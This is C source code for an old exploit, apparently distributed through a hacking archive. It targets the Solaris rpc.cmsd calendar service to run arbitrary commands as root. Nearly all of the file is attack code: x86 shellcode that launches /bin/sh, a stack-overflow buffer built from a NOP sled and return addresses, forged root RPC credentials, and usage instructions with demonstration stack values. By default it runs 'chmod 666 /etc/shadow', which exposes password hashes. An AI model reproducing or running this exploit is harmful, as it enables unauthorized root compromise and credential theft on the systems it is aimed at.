/*
 *  cmsdex - i386 Solaris remote root exploit for /usr/dt/bin/rpc.cmsd
 *
 * Tested and confirmed under Solaris 2.6 and 7.0 (i386)
 *
 *  Usage:  % cmsdex -h hostname -c command -s sp -o offset
 *
 *  where hostname is the hostname of the machine running the vulnerable
 *  CDE calendar service, command is the command to run as root on the
 *  vulnerable machine, sp is the %esp stack pointer value, and offset
 *  is the number of bytes to add to sp to calculate your target %eip
 *  (try -1000 to 1000 in increments of 10 or so for starters once you
 *  have a good guess at the stack pointer).
 *
 *  When specifying a command, be sure to pass it to the exploit as a
 *  single argument, namely enclose the command string in quotes if it
 *  contains spaces or other special shell delimiter characters.  The
 *  command string must not be longer than 100 bytes.  The exploit will
 *  pass this string without modification to /bin/sh -c on the remote
 *  machine, so any normally allowed Bourne shell syntax is also allowed
 *  in the command string.  Due to the nature of the exploit, the command
 *  string must not contain any @ characters.
 *
 *  Demonstration values for i386 Solaris:
 *
 *  (2.6)  cmsdex -h host.example.com -c "touch /0wn3d" -s 0x0804748c -o 0
 *  (7.0)  cmsdex -h host.example.com -c "touch /0wn3d" -s 0x08047378 -o 0
 *
 *  June 4, 1999
 */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <rpc/rpc.h>

#define CMSD_PROG 100068
#define CMSD_VERS 4
#define CMSD_PROC 21

#define EGGLEN 1036
#define JUGULAR 1024
#define NOP 0x90

char shell[] =
  /*  0 */ "\xeb\x3d"                         /* jmp springboard [2000]*/
  /* syscall:                                                    [2000]*/
  /*  2 */ "\x9a\xff\xff\xff\xff\x07\xff"     /* lcall 0x7,0x0   [2000]*/
  /*  9 */ "\xc3"                             /* ret             [2000]*/
  /* start:                                                      [2000]*/
  /* 10 */ "\x5e"                             /* popl %esi       [2000]*/
  /* 11 */ "\x31\xc0"                         /* xor %eax,%eax   [2000]*/
  /* 13 */ "\x89\x46\xbf"                     /* movl %eax,-0x41(%esi) */
  /* 16 */ "\x88\x46\xc4"                     /* movb %al,-0x3c(%esi)  */
  /* 19 */ "\x89\x46\x0c"                     /* movl %eax,0xc(%esi)   */
  /* 22 */ "\x88\x46\x17"                     /* movb %al,0x17(%esi)   */
  /* 25 */ "\x88\x46\x1a"                     /* movb %al,0x1a(%esi)   */
  /* 28 */ "\x88\x46\xff"                     /* movb %al,0x??(%esi)   */
  /* execve:                                                     [2000]*/
  /* 31 */ "\x31\xc0"                         /* xor %eax,%eax   [2000]*/
  /* 33 */ "\x50"                             /* pushl %eax      [2000]*/
  /* 34 */ "\x56"                             /* pushl %esi      [2000]*/
  /* 35 */ "\x8d\x5e\x10"                     /* leal 0x10(%esi),%ebx  */
  /* 38 */ "\x89\x1e"                         /* movl %ebx,(%esi)[2000]*/
  /* 40 */ "\x53"                             /* pushl %ebx      [2000]*/
  /* 41 */ "\x8d\x5e\x18"                     /* leal 0x18(%esi),%ebx  */
  /* 44 */ "\x89\x5e\x04"                     /* movl %ebx,0x4(%esi)   */
  /* 47 */ "\x8d\x5e\x1b"                     /* leal 0x1b(%esi),%ebx  */
  /* 50 */ "\x89\x5e\x08"                     /* movl %ebx,0x8(%esi)   */
  /* 53 */ "\xb0\x3b"                         /* movb $0x3b,%al  [2000]*/
  /* 55 */ "\xe8\xc6\xff\xff\xff"             /* call syscall    [2000]*/
  /* 60 */ "\x83\xc4\x0c"                     /* addl $0xc,%esp  [2000]*/
  /* springboard:                                                [2000]*/
  /* 63 */ "\xe8\xc6\xff\xff\xff"             /* call start      [2000]*/
  /* data:                                                       [2000]*/
  /* 68 */ "\xff\xff\xff\xff"                 /* DATA            [2000]*/
  /* 72 */ "\xff\xff\xff\xff"                 /* DATA            [2000]*/
  /* 76 */ "\xff\xff\xff\xff"                 /* DATA            [2000]*/
  /* 80 */ "\xff\xff\xff\xff"                 /* DATA            [2000]*/
  /* 84 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA            [2000]*/
  /* 92 */ "\x2d\x63\xff";                    /* DATA            [2000]*/

extern char *optarg;

struct cm_send
  {
    char *s1;
    char *s2;
  };

struct cm_reply
  {
    int i;
  };

bool_t
xdr_cm_send(XDR *xdrs, struct cm_send *objp)
{
  if (!xdr_wrapstring(xdrs, &objp->s1))
    return (FALSE);
  if (!xdr_wrapstring(xdrs, &objp->s2))
    return (FALSE);
  return (TRUE);
}

bool_t
xdr_cm_reply(XDR *xdrs, struct cm_reply *objp)
{
  if (!xdr_int(xdrs, &objp->i))
    return (FALSE);
  return (TRUE);
}

int
main(int argc, char *argv[])
{
  int c, slen, clen;
  char *program, *hostname, *command, egg[EGGLEN+1], *eggp;
  unsigned long int sp = 0, addr, alen = 16;
  long int offset = 0;
  CLIENT *cl;
  struct cm_send send;
  struct cm_reply reply;
  struct timeval tm =
      {
        10, 0
      };
  enum clnt_stat stat;

  program = argv[0];
  hostname = "localhost";
  command = "chmod 666 /etc/shadow";

  while ((c = getopt(argc, argv, "h:c:s:o:a:")) != EOF)
    {
      switch (c)
        {
        case 'h':
          hostname = optarg;
          break;
        case 'c':
          command = optarg;
          break;
        case 's':
          sp = strtoul(optarg, NULL, 0);
          break;
        case 'o':
          offset = strtol(optarg, NULL, 0);
          break;
        case 'a':
          alen = strtoul(optarg, NULL, 0);
          break;
        case '?':
        default:
          printf("usage: %s -h hostname -c command -s sp -o offset\n",
                 program);
          exit(1);
          break;
        }
    }

  slen = strlen(shell);
  clen = strlen(command);

  if (clen > 100)
    {
      printf("exploit failed; command string too long "
             "(must not exceed 100 characters)\n");
      exit(1);
    }
  shell[30] = (char) (clen + 27);

  memset(egg, NOP, EGGLEN);
  eggp = egg + EGGLEN - alen - 1 - clen - slen;
  memcpy(eggp, shell, slen);
  eggp += slen;
  memcpy(eggp, command, clen);
  eggp += clen;
  *eggp++ = '\xff';
  addr = sp + offset;
  while (eggp <= egg + EGGLEN - 4)
    {
      *eggp++ = (addr >>  0) & 0xff;
      *eggp++ = (addr >>  8) & 0xff;
      *eggp++ = (addr >> 16) & 0xff;
      *eggp++ = (addr >> 24) & 0xff;
    }
  egg[JUGULAR] = '\xff';
  egg[EGGLEN] = '\0';
  send.s1 = egg;
  send.s2 = "";

  cl = clnt_create(hostname, CMSD_PROG, CMSD_VERS, "udp");
  if (cl == NULL)
    {
      clnt_pcreateerror("clnt_create");
      printf("exploit failed; unable to contact RPC server\n");
      exit(1);
    }
  cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
  stat = clnt_call(cl, CMSD_PROC, xdr_cm_send, (caddr_t) &send,
                   xdr_cm_reply, (caddr_t) &reply, tm);
  if (stat == RPC_SUCCESS)
    {
      printf("exploit failed; RPC succeeded and returned %d\n", reply.i);
      clnt_destroy(cl);
      exit(1);
    }
  else
    {
      clnt_perror(cl, "clnt_call");
      printf("exploit probably worked; RPC failure was expected\n");
      clnt_destroy(cl);
      exit(0);
    }
}
/*                    www.hack.co.za              [2000]*/